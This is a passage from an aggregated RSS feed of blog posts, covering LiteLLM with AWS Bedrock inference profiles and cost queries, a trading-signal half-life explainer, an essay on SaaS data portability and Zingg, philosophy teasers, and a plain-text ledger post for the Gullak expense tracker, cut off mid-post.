<pre class="giallo" style="color-scheme: light dark; color: light-dark(#24292E, #ADBAC7); background-color: light-dark(#FFFFFF, #22272E);"><code data-lang="plain"><span class="giallo-l"><span>arn:aws:bedrock:ap-south-1:123456789012:application-inference-profile/abcdef123456</span></span></code></pre><h3 id="using-aips-with-litellm">Using AIPs with LiteLLM<a class="zola-anchor" href="#using-aips-with-litellm" aria-label="Anchor link for: using-aips-with-litellm">#</a></h3>
<p>The standard <code>bedrock/</code> route can’t parse ARNs. Use the <code>bedrock/converse/</code> route instead:</p>
<pre class="giallo" style="color-scheme: light dark; color: light-dark(#24292E, #ADBAC7); background-color: light-dark(#FFFFFF, #22272E);"><code data-lang="plain"><span class="giallo-l"><span>bedrock/converse/arn:aws:bedrock:ap-south-1:123456789012:application-inference-profile/abcdef123456</span></span></code></pre>
<p>The <code>bedrock/</code> prefix still matches for provider detection and the <code>top_p=None</code> fix, so no code changes needed on your end.</p>
<h2 id="querying-costs-via-cli">Querying Costs via CLI<a class="zola-anchor" href="#querying-costs-via-cli" aria-label="Anchor link for: querying-costs-via-cli">#</a></h2>
<p>Once your AIPs are tagged, you can query costs using the Cost Explorer API.</p>
<p>Total Bedrock spend for a month:</p>
<pre class="giallo" style="color-scheme: light dark; color: light-dark(#24292E, #ADBAC7); background-color: light-dark(#FFFFFF, #22272E);"><code data-lang="shellscript"><span class="giallo-l"><span style="color: light-dark(#6F42C1, #F69D50);">aws</span><span style="color: light-dark(#032F62, #96D0FF);"> ce</span><span style="color: light-dark(#032F62, #96D0FF);"> get-cost-and-usage</span><span style="color: light-dark(#005CC5, #F47067);"> \</span></span>
<span class="giallo-l"><span style="color: light-dark(#005CC5, #6CB6FF);">  -</span><span style="color: light-dark(#005CC5, #6CB6FF);">-time-period</span><span style="color: light-dark(#032F62, #96D0FF);"> Start=2026-02-01,End=2026-03-01</span><span style="color: light-dark(#005CC5, #F47067);"> \</span></span>
<span class="giallo-l"><span style="color: light-dark(#005CC5, #6CB6FF);">  -</span><span style="color: light-dark(#005CC5, #6CB6FF);">-granularity</span><span style="color: light-dark(#032F62, #96D0FF);"> MONTHLY</span><span style="color: light-dark(#005CC5, #F47067);"> \</span></span>
<span class="giallo-l"><span style="color: light-dark(#005CC5, #6CB6FF);">  -</span><span style="color: light-dark(#005CC5, #6CB6FF);">-metrics</span><span style="color: light-dark(#032F62, #96D0FF);"> &quot;</span><span style="color: light-dark(#032F62, #96D0FF);">UnblendedCost</span><span style="color: light-dark(#032F62, #96D0FF);">&quot;</span><span style="color: light-dark(#005CC5, #F47067);"> \</span></span>
<span class="giallo-l"><span style="color: light-dark(#005CC5, #6CB6FF);">  -</span><span style="color: light-dark(#005CC5, #6CB6FF);">-filter</span><span style="color: light-dark(#032F62, #96D0FF);"> &#39;</span><span style="color: light-dark(#032F62, #96D0FF);">{&quot;Dimensions&quot;: {&quot;Key&quot;: &quot;SERVICE&quot;, &quot;Values&quot;: [&quot;Amazon Bedrock&quot;]}}</span><span style="color: light-dark(#032F62, #96D0FF);">&#39;</span><span style="color: light-dark(#005CC5, #F47067);"> \</span></span>
<span class="giallo-l"><span style="color: light-dark(#005CC5, #6CB6FF);">  -</span><span style="color: light-dark(#005CC5, #6CB6FF);">-region</span><span style="color: light-dark(#032F62, #96D0FF);"> us-east-1</span></span></code></pre>
<p>Bedrock spend grouped by your cost allocation tag (per-project breakdown):</p>
<pre class="giallo" style="color-scheme: light dark; color: light-dark(#24292E, #ADBAC7); background-color: light-dark(#FFFFFF, #22272E);"><code data-lang="shellscript"><span class="giallo-l"><span style="color: light-dark(#6F42C1, #F69D50);">aws</span><span style="color: light-dark(#032F62, #96D0FF);"> ce</span><span style="color: light-dark(#032F62, #96D0FF);"> get-cost-and-usage</span><span style="color: light-dark(#005CC5, #F47067);"> \</span></span>
<span class="giallo-l"><span style="color: light-dark(#005CC5, #6CB6FF);">  -</span><span style="color: light-dark(#005CC5, #6CB6FF);">-time-period</span><span style="color: light-dark(#032F62, #96D0FF);"> Start=2026-02-01,End=2026-03-01</span><span style="color: light-dark(#005CC5, #F47067);"> \</span></span>
<span class="giallo-l"><span style="color: light-dark(#005CC5, #6CB6FF);">  -</span><span style="color: light-dark(#005CC5, #6CB6FF);">-granularity</span><span style="color: light-dark(#032F62, #96D0FF);"> DAILY</span><span style="color: light-dark(#005CC5, #F47067);"> \</span></span>
<span class="giallo-l"><span style="color: light-dark(#005CC5, #6CB6FF);">  -</span><span style="color: light-dark(#005CC5, #6CB6FF);">-metrics</span><span style="color: light-dark(#032F62, #96D0FF);"> &quot;</span><span style="color: light-dark(#032F62, #96D0FF);">UnblendedCost</span><span style="color: light-dark(#032F62, #96D0FF);">&quot;</span><span style="color: light-dark(#005CC5, #F47067);"> \</span></span>
<span class="giallo-l"><span style="color: light-dark(#005CC5, #6CB6FF);">  -</span><span style="color: light-dark(#005CC5, #6CB6FF);">-filter</span><span style="color: light-dark(#032F62, #96D0FF);"> &#39;</span><span style="color: light-dark(#032F62, #96D0FF);">{&quot;Dimensions&quot;: {&quot;Key&quot;: &quot;SERVICE&quot;, &quot;Values&quot;: [&quot;Amazon Bedrock&quot;]}}</span><span style="color: light-dark(#032F62, #96D0FF);">&#39;</span><span style="color: light-dark(#005CC5, #F47067);"> \</span></span>
<span class="giallo-l"><span style="color: light-dark(#005CC5, #6CB6FF);">  -</span><span style="color: light-dark(#005CC5, #6CB6FF);">-group-by</span><span style="color: light-dark(#032F62, #96D0FF);"> Type=TAG,Key=project</span><span style="color: light-dark(#005CC5, #F47067);"> \</span></span>
<span class="giallo-l"><span style="color: light-dark(#005CC5, #6CB6FF);">  -</span><span style="color: light-dark(#005CC5, #6CB6FF);">-region</span><span style="color: light-dark(#032F62, #96D0FF);"> us-east-1</span></span></code></pre>
<p><strong>Note</strong>: The Cost Explorer API always runs against <code>us-east-1</code> regardless of where your resources are deployed.</p>
<h3 id="cost-explorer-setup-checklist">Cost Explorer Setup Checklist<a class="zola-anchor" href="#cost-explorer-setup-checklist" aria-label="Anchor link for: cost-explorer-setup-checklist">#</a></h3>
<p>A few things to get right before cost data starts flowing:</p>
<ol>
<li>The tag must be an <strong>active cost allocation tag</strong>. Enable it under Billing → Cost Allocation Tags.</li>
<li>Use the AIP ARN as the model string in LiteLLM. All invocations through it get tagged automatically.</li>
<li>In Cost Explorer, group by tag and select your tag key to see the per-project breakdown.</li>
<li>Cost data takes ~24 hours to populate after first usage, so don’t panic if it shows up empty initially.</li>
</ol>
<h2 id="dependencies">Dependencies<a class="zola-anchor" href="#dependencies" aria-label="Anchor link for: dependencies">#</a></h2>
<p>LiteLLM needs <code>boto3</code> to talk to Bedrock:</p>
<pre class="giallo" style="color-scheme: light dark; color: light-dark(#24292E, #ADBAC7); background-color: light-dark(#FFFFFF, #22272E);"><code data-lang="plain"><span class="giallo-l"><span>boto3&gt;=1.28.57</span></span></code></pre>
<p>Make sure it’s installed in your environment, otherwise LiteLLM will fail with an import error when you try to use the <code>bedrock/</code> provider.</p>
<p>Fin!</p>
]]></content:encoded>
            <author>Karan Sharma</author>
        </item>
        <item>
            <title><![CDATA[Your True Nature]]></title>
            <link>https://www.prashanthudupa.com/your-true-nature/</link>
            <guid isPermaLink="false">https://www.prashanthudupa.com/your-true-nature/</guid>
            <pubDate>Sat, 14 Feb 2026 05:30:43 GMT</pubDate>
            <description><![CDATA[When you just watch what’s going on with your seeing, hearing, smelling, tasting, touching, thoughting, feeling and your body-mind in general — it becomes very clear that you are not the things you see, the sounds you hear, the smells you smell, the tastes you taste, the objects you touch, or the body you have, […]]]></description>
            <content:encoded><![CDATA[When you just watch what&#8217;s going on with your seeing, hearing, smelling, tasting, touching, thoughting, feeling and your body-mind in general &#8212; it becomes very clear that you are not the things you see, the sounds you hear, the smells you smell, the tastes you taste, the objects you touch, or the body you have, [&#8230;]]]></content:encoded>
            <author>Prashanth Udupa</author>
            <category>Insight</category>
            <category>Philosophy</category>
        </item>
        <item>
            <title><![CDATA[Signal Half-Life: The Missing Piece in Most Trading Systems]]></title>
            <link>https://openalgo.medium.com/signal-half-life-the-missing-piece-in-most-trading-systems-24824b102799?source=rss-cda86e929c3------2</link>
            <guid isPermaLink="false">https://openalgo.medium.com/signal-half-life-the-missing-piece-in-most-trading-systems-24824b102799?source=rss-cda86e929c3------2</guid>
            <pubDate>Thu, 12 Feb 2026 16:58:50 GMT</pubDate>
            <content:encoded><![CDATA[<p>Most traders spend their time asking:</p><p>Which indicator should I use?<br> Which parameter is best?<br> Which market works better?</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*X_G37Hvex52k_haONEhG8A.jpeg" /></figure><p>A more important question is often ignored:</p><p><strong>How long does my signal actually work?</strong></p><p>Because every trading signal has a lifespan.</p><p>Not forever.<br>Not even close.</p><p>That lifespan is called the <strong>half-life of a signal</strong>.</p><p>Understanding this one idea can dramatically improve entries, exits, and overall profitability.</p><h3>Think of a Signal Like Fresh News</h3><p>Imagine you hear breaking news about a company.</p><p>At that exact moment, almost nobody knows it.<br>You have a real edge.</p><p>A few minutes later, more traders see it.<br>The edge shrinks.</p><p>A few hours later, everyone knows.<br>The edge is mostly gone.</p><p>Your information did not become wrong.<br>It simply became <strong>common</strong>.</p><p>Trading signals work the same way.</p><p>A signal is just a piece of information that suggests price is more likely to go up or down.<br> Over time, other traders react to that same information and push price closer to fair value.</p><p>The advantage fades.</p><h3>What “Half-Life” Really Means</h3><p>Signal half-life is:</p><p><strong>The amount of time it takes for half of a signal’s edge to disappear.</strong></p><p>If a signal is strongest right when it appears:</p><p>After one half-life<br>Only half of the original edge remains.</p><p>After two half-lives<br>Only one quarter remains.</p><p>After three half-lives<br>Only one eighth remains.</p><p>So even a good signal becomes weak if you wait too long.</p><p>This explains why:</p><p>Good entries can turn into bad trades.<br>Good indicators can look useless at the wrong timeframe.<br>Backtests change dramatically when holding period changes.</p><h3>Why Traders Lose Money Even With Good Signals</h3><p>Many traders unknowingly mismatch <strong>signal speed</strong> and <strong>holding time</strong>.</p><p>Examples:</p><p>Using a fast scalping signal but holding trades for hours.<br> Using a slow trend signal but exiting after ten minutes.</p><p>Both situations sabotage the edge.</p><p>It is like trying to use milk that expired last week or throwing away fresh bread after one bite.</p><p>Same product.<br>Wrong timing.</p><h3>Fast Signals vs Slow Signals</h3><p>Different types of ideas decay at different speeds.</p><h3>Very Fast Signals</h3><p>Order flow imbalances<br> Bid ask pressure<br> Microstructure patterns</p><p>These can stop working in seconds or minutes.</p><p>They must be traded quickly.</p><h3>Medium Speed Signals</h3><p>Intraday mean reversion<br>Breakout continuation<br>Short-term momentum</p><p>These usually last minutes to hours.</p><p>They fit day trading and short swing trading.</p><h3>Slow Signals</h3><p>Multi-week momentum<br> Value<br> Carry<br> Macro themes</p><p>These can last weeks, months, or even years.</p><p>They require patience and low turnover.</p><p>There is no “best” speed.</p><p>There is only <strong>matching speed</strong>.</p><h3>A Simple Way to Visualize It</h3><p>Imagine plotting performance versus holding time.</p><p>At very short holding times<br>Results are poor because costs dominate.</p><p>At medium holding times<br>Performance improves and peaks.</p><p>At long holding times<br>Performance falls because the signal has faded.</p><p>The peak area is where your signal naturally belongs.</p><p>That peak is closely related to half-life.</p><h3>Why Trading Slower Often Improves Results</h3><p>Many traders assume faster trading equals more money.</p><p>In reality:</p><p>Costs increase linearly.<br> Signal decay happens rapidly at first, then slows.</p><p>This means:</p><p>Trading too fast bleeds fees and slippage.<br> Trading too slow captures leftovers.</p><p>The sweet spot is usually in between.</p><p>When traders lengthen holding periods slightly, they often see:</p><p>Higher win rate<br>Higher Sharpe<br>Lower stress</p><p>Even with the same entry logic.</p><h3>How You Can Estimate Half-Life Without Complex Math</h3><p>You do not need advanced statistics.</p><p>Try this:</p><ol><li>Keep the same entry rule.</li><li>Test multiple exit horizons.<br> For example:<br> 5 bars<br> 20 bars<br> 50 bars<br> 100 bars</li><li>Record performance metrics for each.</li><li>Plot or compare results.</li></ol><p>Where performance peaks is roughly where your signal’s half-life lives.</p><p>That is your natural trading horizon.</p><h3>A Practical Example</h3><p>Suppose a breakout strategy shows:</p><p>Best results at 30 to 60 minute holds.<br> Performance drops sharply after 3 hours.<br> Almost flat after one day.</p><p>Conclusion:</p><p>This signal is intraday in nature.</p><p>Trying to turn it into a swing strategy will not work.<br> No amount of parameter tuning will fix that.</p><h3>The Hidden Power of This Concept</h3><p>Most traders try to improve signals.</p><p>Better indicator.<br>More filters.<br>More complexity.</p><p>Often the bigger improvement comes from:</p><p><strong>Using the same signal at the right speed.</strong></p><p>You do not need smarter entries.<br> You need better timing.</p><h3>Mental Model to Remember</h3><p>A trading signal is a temporary informational advantage.</p><p>Half-life is how fast that advantage evaporates.</p><p>Your goal is not to trade as fast as possible.</p><p>Your goal is to trade <strong>as fast as necessary</strong>.</p><h3>Final Takeaway</h3><p>If you remember only one thing:</p><blockquote><em>Every signal has an expiration date.<br> Profitable traders learn when their signal expires and exit before that.</em></blockquote><p>Mastering this concept alone can quietly transform your trading.</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=24824b102799" width="1" height="1" alt="">]]></content:encoded>
            <author>Rajandran R (Creator - OpenAlgo)</author>
            <category>trading-system</category>
            <category>trading-strategy</category>
            <category>market-timing</category>
            <category>trading-signals</category>
            <category>trading-psychology</category>
        </item>
        <item>
            <title><![CDATA[The Real Threat to SaaS: It’s Not Vibe Coding. It’s Access To Your Data.]]></title>
            <link>https://www.learningfromdata.zingg.ai/p/the-real-threat-to-saas-its-not-vibe</link>
            <guid isPermaLink="false">https://www.learningfromdata.zingg.ai/p/the-real-threat-to-saas-its-not-vibe</guid>
            <pubDate>Wed, 11 Feb 2026 17:11:48 GMT</pubDate>
            <description><![CDATA[And why we built Zingg the way we did.]]></description>
            <content:encoded><![CDATA[<p>Vibe coding has everyone debating whether SaaS is dead.</p><p>One camp says: when you can build a CRM in an afternoon, why pay Salesforce $150 a seat? The other fires back: a POC is not a product. Security, compliance, scalability, ongoing maintenance &#8212; the real cost of DIY reveals itself fast.</p><p>Both sides have a point. But they&#8217;re arguing about the wrong thing.</p><p><strong>The real threat to SaaS isn&#8217;t that customers will build replacements. It&#8217;s that customers will demand their data back.</strong></p><h2>The New Requirement Nobody Saw Coming</h2><p>Most enterprises are not going to build their own CRM, their own support desk, or their own payroll system. That&#8217;s not happening. But they <em>are</em> going to build custom AI agents &#8212; agents tailored to their workflows, their industry, their competitive edge. And those agents are useless without access to the data that lives inside enterprise SaaS systems.</p><p>Think about what that means in practice. A procurement agent that can&#8217;t read your ERP. A sales agent that can&#8217;t query your CRM. A support agent that can&#8217;t see your ticketing history. You end up with AI that is powerful in theory and crippled in practice &#8212; not because the models aren&#8217;t good enough, but because the data is locked behind walls that the enterprise itself cannot breach.</p><p>This is the structural tension SaaS has quietly avoided for two decades. Data lock-in was never just a feature &#8212; it was <em>the moat</em>. Salesforce, Workday, ServiceNow, SAP built empires not just on software, but on the gravitational pull of accumulated enterprise data. The switching cost wasn&#8217;t the product. It was your own history, trapped inside someone else&#8217;s system.</p><p>AI is now making that lock-in impossible to ignore.</p><p>Enterprises building custom agents will demand data portability as a first-class requirement &#8212; not a nice-to-have, not a paid add-on, but a baseline expectation. The competitive pressure will shift toward SaaS vendors who open their data, and away from those who treat it as a proprietary asset. MCP is an early signal of this direction, but it is barely the beginning. Real openness means real-time access, structured APIs, granular permissions, and data that can move across systems without friction.</p><h2>Why We Built Zingg the Way We Did</h2><p>I want to share something personal here, because it&#8217;s directly relevant.</p><p>When we built <a href="https://zingg.ai/">Zingg</a> &#8212; an open source entity resolution and data matching tool &#8212; one of our earliest and most deliberate architectural decisions was this: <strong>Zingg would run natively inside the customer&#8217;s own environment. Their data would never move.</strong></p><p>Not to our servers. Not to a cloud we managed. Not through a pipeline that touched our infrastructure. Zingg would go to the data, not the other way around.</p><p>At the time, this felt like swimming against the tide. The SaaS playbook was clear: centralise everything, host it yourself, lock in the customer through the platform. Everyone was building managed services where customers uploaded their data and got results back. It was convenient. It was scalable. It was the default.</p><p>We chose differently &#8212; and we took some friction for it. Prospects would ask why they couldn&#8217;t just hand us their data and get clean results. Investors would ask why we weren&#8217;t building a managed pipeline. The market was optimised for data movement, and we were building for data residency.</p><p>Our reasoning was straightforward. Entity resolution deals with some of the most sensitive data an enterprise has &#8212; customer records, patient data, financial identities, supplier profiles. The enterprises that needed this most were also the ones with the strictest data governance requirements: banks, healthcare providers, insurers, government agencies. For them, sending data to a third-party system wasn&#8217;t a preference issue. It was a compliance wall.</p><p>Beyond compliance, there was a deeper principle at work. <strong>The enterprise owns its data. The enterprise should control its data.</strong> A tool that requires data to leave the enterprise in order to function is not really serving the enterprise &#8212; it&#8217;s holding the enterprise&#8217;s data hostage to deliver a service.</p><h2>What We Learned From Building This Way</h2><p>Running natively inside the customer&#8217;s environment changed everything about how we thought about the product.</p><p>It forced us to build something that was genuinely portable &#8212; that could run on on-premise Spark clusters, on Databricks, on AWS EMR, on GCP, on Snowflake, wherever the customer&#8217;s data actually lived. It couldn&#8217;t be opinionated about infrastructure, because the whole point was to meet the data where it was.</p><p>It meant our integration surface was the data itself &#8212; structured, well-defined, queryable &#8212; not a proprietary pipeline that the customer had to trust and maintain.</p><p>And it gave customers something that is genuinely rare in enterprise software: full control and transparency. They could see exactly what Zingg was doing with their data, because Zingg was running on their machines, under their monitoring, in their environment, at their schedule.</p><p>There was also a dimension we hadn&#8217;t fully appreciated until customers started telling us: <strong>it was significantly faster AND cheaper.</strong> When your tool runs inside the enterprise&#8217;s existing environment, the enterprise leverages infrastructure it has already paid for &#8212; compute clusters, data quality frameworks, observability stacks. There is no new data pipeline to design, build, or maintain. There is no ongoing cost of extracting data, shipping it somewhere, and syncing it back. <strong>No ETL tax</strong>. No vendor markup on compute. The enterprise uses what it already has, and the tool fits around it. For large organisations running entity resolution at scale, this wasn&#8217;t a marginal saving &#8212; it was a fundamental difference in total cost of ownership.</p><p>Interestingly, this also made Zingg stickier in a different way. Not because we had the data &#8212; we never did &#8212; but because the customer&#8217;s confidence in the product grew over time. </p><h2>Why This Matters Now More Than Ever</h2><p>Fast forward to today, and the AI agent conversation is making this architectural principle mainstream.</p><p>Every enterprise that wants to build custom agents is asking the same question we were thinking about years ago: <em>how do I give my AI access to my data without giving someone else access to my data?</em></p><p>The answer is the same one we arrived at for Zingg. The data should never need to leave.</p><p>This is what makes the current MCP momentum so significant. MCP is a protocol that lets AI agents communicate with data systems without requiring data to be extracted, copied, or centralised. It is, in essence, a formalisation of the principle we built Zingg on: bring the compute to the data, not the data to the compute.</p><p>But MCP alone is not enough. A faithful MCP implementation means more than exposing an endpoint &#8212; it means real-time access, granular permissions, data that reflects the current state of the system, and APIs that are robust enough to support production AI workloads, not just demos.</p><p>The enterprises of the next decade will not tolerate data opacity. They have regulators demanding audit trails. They have security teams demanding residency guarantees. And now they have AI ambitions that demand data access. These forces are all pointing in the same direction.</p><p>SaaS vendors who open their data thoughtfully &#8212; with proper permissioning, auditability, and reliability &#8212; will find that openness builds a different kind of loyalty. One that is harder to compete with, because it&#8217;s based on trust rather than captivity.</p><p>The vendors who resist will find themselves on the wrong side of procurement conversations as AI becomes a standard enterprise requirement. The question won&#8217;t be &#8220;does your product have AI features?&#8221; It will be &#8220;can my AI agents use your data?&#8221;</p><p>If the answer is no, or not without significant friction, the deal will start to look elsewhere.</p><h2>The Output Was Always the Point</h2><p>There is one more dimension to this that feels especially relevant now.</p><p>Entity resolution is not a peripheral problem. It is one of the most foundational challenges in enterprise data &#8212; the question of whether the &#8220;Acme Corp&#8221; in your CRM is the same as the &#8220;Acme Corporation&#8221; in your ERP, whether the customer in your support desk is the same person as the one in your billing system, whether your supplier records are duplicated across three different procurement tools. Resolved, unified data is the prerequisite for almost everything else an enterprise wants to do with its data. Analytics, reporting, compliance, machine learning &#8212; none of it works well on dirty, fragmented, unresolved data.</p><p>This is why we were always deliberate about how Zingg surfaces its output. We didn&#8217;t just want Zingg to solve the matching problem &#8212; we wanted the resolved data to be genuinely portable, consumable by whatever system or workflow the enterprise chose to use next. Clean, resolved entities written back to the data store of the enterprise&#8217;s choice, in formats that fit naturally into existing pipelines, without any proprietary wrapper that would create a new dependency.</p><p>We did not see AI agents coming when we made that decision. But in hindsight, it was exactly the right call. A resolved, unified, trustworthy view of an enterprise&#8217;s core entities &#8212; customers, suppliers, products, locations &#8212; is precisely the kind of context foundation that AI agents need to function well. An agent working from fragmented, duplicated, unresolved data will produce fragmented, unreliable answers. An agent working from a clean, resolved data layer can actually be trusted.</p><p>We built Zingg to ensure its output could be consumed anywhere the enterprise wanted. It turns out that &#8220;anywhere the enterprise wants&#8221; now includes AI agents, RAG pipelines, and real-time reasoning systems we couldn&#8217;t have imagined when we started. The principle held.</p><div><hr></div><h2>A Principle Worth Standing Behind</h2><p>When we made the architectural choice for Zingg, we weren&#8217;t predicting AI agents. We were just trying to build something enterprises could actually trust with their most sensitive data.</p><p>But the principle was right then, and it is right now: <strong>data should live where the enterprise decides it lives. Tools &#8212; whether they are matching algorithms or AI agents &#8212; should go to the data, not the other way around.</strong></p><p>The market is catching up to this idea. And those who embrace it, rather than fight it, will be the ones who matter in the next era of enterprise software.</p><div><hr></div><p><em>Zingg is an open source entity resolution framework that runs natively in your environment &#8212; no data movement required. You can find it at <a href="https://github.com/zinggAI/zingg">github.com/zinggAI/zingg</a>.</em></p>]]></content:encoded>
            <author>Sonal Goyal</author>
        </item>
        <item>
            <title><![CDATA[Empty Space, Infinite Forms]]></title>
            <link>https://www.prashanthudupa.com/empty-space-infinite-forms/</link>
            <guid isPermaLink="false">https://www.prashanthudupa.com/empty-space-infinite-forms/</guid>
            <pubDate>Wed, 11 Feb 2026 16:27:18 GMT</pubDate>
            <description><![CDATA[When I started just looking at what’s going on, I first noticed the cyclic nature of all phenomena. Just about everything had a beginning, middle, and end. Whether it was breath, or heartbeat, or thought, or feeling, or a sound, or any other sensation for that matter. It seemed like life was just a stream […]]]></description>
            <content:encoded><![CDATA[When I started just looking at what’s going on, I first noticed the cyclic nature of all phenomena. Just about everything had a beginning, middle, and end. Whether it was breath, or heartbeat, or thought, or feeling, or a sound, or any other sensation for that matter. It seemed like life was just a stream [&#8230;]]]></content:encoded>
            <author>Prashanth Udupa</author>
            <category>Insight</category>
            <category>Philosophy</category>
        </item>
        <item>
            <title><![CDATA[Why Plain-Text Ledger is Powerful for Gullak]]></title>
            <link>https://mrkaran.dev/posts/gullak-ledger/</link>
            <guid isPermaLink="false">https://mrkaran.dev/posts/gullak-ledger/</guid>
            <pubDate>Mon, 02 Feb 2026 00:00:00 GMT</pubDate>
            <description><![CDATA[In my previous post, I introduced Gullak, an expense tracker I built to categorize transactions using LLMs. While the initial prototype used SQLite, I’ve since made a fundamental shift in how Gullak stores data. It now uses the ledger-cli format—a plain-text accounting standard that has been around for over 20 years.
The Core Insight#
Ledger-cli uses a format that is, at its core, just text files. There are no database migrations to manage, no proprietary binary formats, and absolutely no vendor lock-in. The promise is simple: your financial data should outlive the application you use to track it.
Hackability in Gullak’s Context#
Moving to a plain-text format unlocked several advantages that align perfectly with modern AI capabilities and the Unix philosophy.
1. AI-Native Format#
Consider a typical transaction entry in a ledger file:
2026/01/21 Swiggy
    Expenses:Food:Delivery  584.23 INR
    Liabilities:CreditCard:ICICI  -584.23 INR
This structure is trivially parseable by Large Language Models (LLMs). An AI agent can read, write, and reason about these transactions without needing complex serialization logic. Compare this to the friction of extracting data from a SQLite blob or interfacing with a proprietary API like Splitwise’s. The text is the interface.
2. Git-Friendly#
Because every transaction is just a few lines of text, your financial history becomes a git repository. Every change is a diff.
This gives you:
Full audit trail: git log -p -- main.ledger shows exactly what changed and when.
Easy rollback: Made a mistake? git revert.
“What-if” scenarios: Branch off to model a major purchase or a different budget strategy.
Collaboration: Family budgeting can be handled via Pull Requests.
3. Unix Philosophy#
The file serves as the API. You don’t need export buttons or data liberation requests. You can use standard Unix tools to query your finances.
Find all Swiggy orders over 500 INR:
grep -A2 "Swiggy" main.ledger | grep -E "[5-9][0-9]{2,}|[0-9]{4,}"
Check your monthly food spending:
ledger -f main.ledger bal Expenses:Food -p "this month"
Export to CSV for Google Sheets:
ledger -f main.ledger csv Expenses
4. Extensibility via Comments#
Gullak adds its own metadata using standard ledger comments, which are ignored by the accounting tools but used by the app:
2026/01/21 Zomato
    ; gullak:id 7559a51f
    ; gullak:source whatsapp
    ; gullak:user 919876543210
    Expenses:Food:Delivery  584.23 INR
gullak:id: A unique ID for CRUD operations.
gullak:source: Provenance tracking (e.g., entered via WhatsApp, web, or CSV).
gullak:user: Multi-user support.
Custom tags for your own organization—like ; Recurring: Netflix—just work out of the box.
5. Ecosystem Interoperability#
Because the format is standard, Gullak plays nice with others:
Paisa: Reads the same file for beautiful visualizations.
hledger: A Haskell alternative that is drop-in compatible.
Beancount: Can import ledger files.
Text Editors: Any editor (VS Code, Vim, Sublime) is a valid client.
What This Enables#

FeatureHow Plain Text Helps

WhatsApp loggingAI parses “swiggy 500” → appends text to file
Receipt OCRExtract data → format as ledger → append
Bank CSV importTransform CSV → ledger format → append
Transaction editingFind by gullak:id → text replacement
Undo/historyGit handles it for free
Backupcp main.ledger backup.ledger
MigrationIt’s text. There’s nothing to migrate.

The Trade-off#
Of course, you lose ACID transactions, database indexes, and complex SQL queries. But for personal finance, the scale makes these unnecessary trade-offs.
You likely have 10-50 transactions a month.
Running ledger bal on 10 years of data takes less than 100ms.
The simplicity is the feature.
Conclusion#
Adopting the ledger format turns Gullak from “yet another expense app” into a thin AI layer over your permanent financial record. By decoupling the data from the application logic, we ensure that the data remains accessible, hackable, and enduring.]]></description>
            <content:encoded><![CDATA[<p>In my <a href="https://mrkaran.dev/posts/gullak/">previous post</a>, I introduced Gullak, an expense tracker I built to categorize transactions using LLMs. While the initial prototype used SQLite, I’ve since made a fundamental shift in how Gullak stores data. It now uses the <strong>ledger-cli</strong> format—a plain-text accounting standard that has been around for over 20 years.</p>
<h2 id="the-core-insight">The Core Insight<a class="zola-anchor" href="#the-core-insight" aria-label="Anchor link for: the-core-insight">#</a></h2>
<p>Ledger-cli uses a format that is, at its core, just text files. There are no database migrations to manage, no proprietary binary formats, and absolutely no vendor lock-in. The promise is simple: your financial data should outlive the application you use to track it.</p>
<h2 id="hackability-in-gullak-s-context">Hackability in Gullak’s Context<a class="zola-anchor" href="#hackability-in-gullak-s-context" aria-label="Anchor link for: hackability-in-gullak-s-context">#</a></h2>
<p>Moving to a plain-text format unlocked several advantages that align perfectly with modern AI capabilities and the Unix philosophy.</p>
<h3 id="1-ai-native-format">1. AI-Native Format<a class="zola-anchor" href="#1-ai-native-format" aria-label="Anchor link for: 1-ai-native-format">#</a></h3>
<p>Consider a typical transaction entry in a ledger file:</p>
<pre class="giallo" style="color-scheme: light dark; color: light-dark(#24292E, #ADBAC7); background-color: light-dark(#FFFFFF, #22272E);"><code data-lang="plain"><span class="giallo-l"><span>2026/01/21 Swiggy</span></span>
<span class="giallo-l"><span>    Expenses:Food:Delivery  584.23 INR</span></span>
<span class="giallo-l"><span>    Liabilities:CreditCard:ICICI  -584.23 INR</span></span></code></pre>
<p>This structure is trivially parseable by Large Language Models (LLMs). An AI agent can read, write, and reason about these transactions without needing complex serialization logic. Compare this to the friction of extracting data from a SQLite blob or interfacing with a proprietary API like Splitwise’s. The text <em>is</em> the interface.</p>
<h3 id="2-git-friendly">2. Git-Friendly<a class="zola-anchor" href="#2-git-friendly" aria-label="Anchor link for: 2-git-friendly">#</a></h3>
<p>Because every transaction is just a few lines of text, your financial history becomes a git repository. Every change is a diff.</p>
<p>This gives you:</p>
<ul>
<li><strong>Full audit trail</strong>: <code>git log -p -- main.ledger</code> shows exactly what changed and when.</li>
<li><strong>Easy rollback</strong>: Made a mistake? <code>git revert</code>.</li>
<li><strong>“What-if” scenarios</strong>: Branch off to model a major purchase or a different budget strategy.</li>
<li><strong>Collaboration</strong>: Family budgeting can be handled via Pull Requests.</li>
</ul>
<h3 id="3-unix-philosophy">3. Unix Philosophy<a class="zola-anchor" href="#3-unix-philosophy" aria-label="Anchor link for: 3-unix-philosophy">#</a></h3>
<p>The file serves as the API. You don’t need export buttons or data liberation requests. You can use standard Unix tools to query your finances.</p>
<p>Find all Swiggy orders over 500 INR:</p>
<pre class="giallo" style="color-scheme: light dark; color: light-dark(#24292E, #ADBAC7); background-color: light-dark(#FFFFFF, #22272E);"><code data-lang="shellscript"><span class="giallo-l"><span style="color: light-dark(#6F42C1, #F69D50);">grep</span><span style="color: light-dark(#005CC5, #6CB6FF);"> -</span><span style="color: light-dark(#005CC5, #6CB6FF);">A2</span><span style="color: light-dark(#032F62, #96D0FF);"> &quot;</span><span style="color: light-dark(#032F62, #96D0FF);">Swiggy</span><span style="color: light-dark(#032F62, #96D0FF);">&quot;</span><span style="color: light-dark(#032F62, #96D0FF);"> main.ledger</span><span style="color: light-dark(#D73A49, #F47067);"> |</span><span style="color: light-dark(#6F42C1, #F69D50);"> grep</span><span style="color: light-dark(#005CC5, #6CB6FF);"> -</span><span style="color: light-dark(#005CC5, #6CB6FF);">E</span><span style="color: light-dark(#032F62, #96D0FF);"> &quot;</span><span style="color: light-dark(#032F62, #96D0FF);">[5-9][0-9]{2,}|[0-9]{4,}</span><span style="color: light-dark(#032F62, #96D0FF);">&quot;</span></span></code></pre>
<p>Check your monthly food spending:</p>
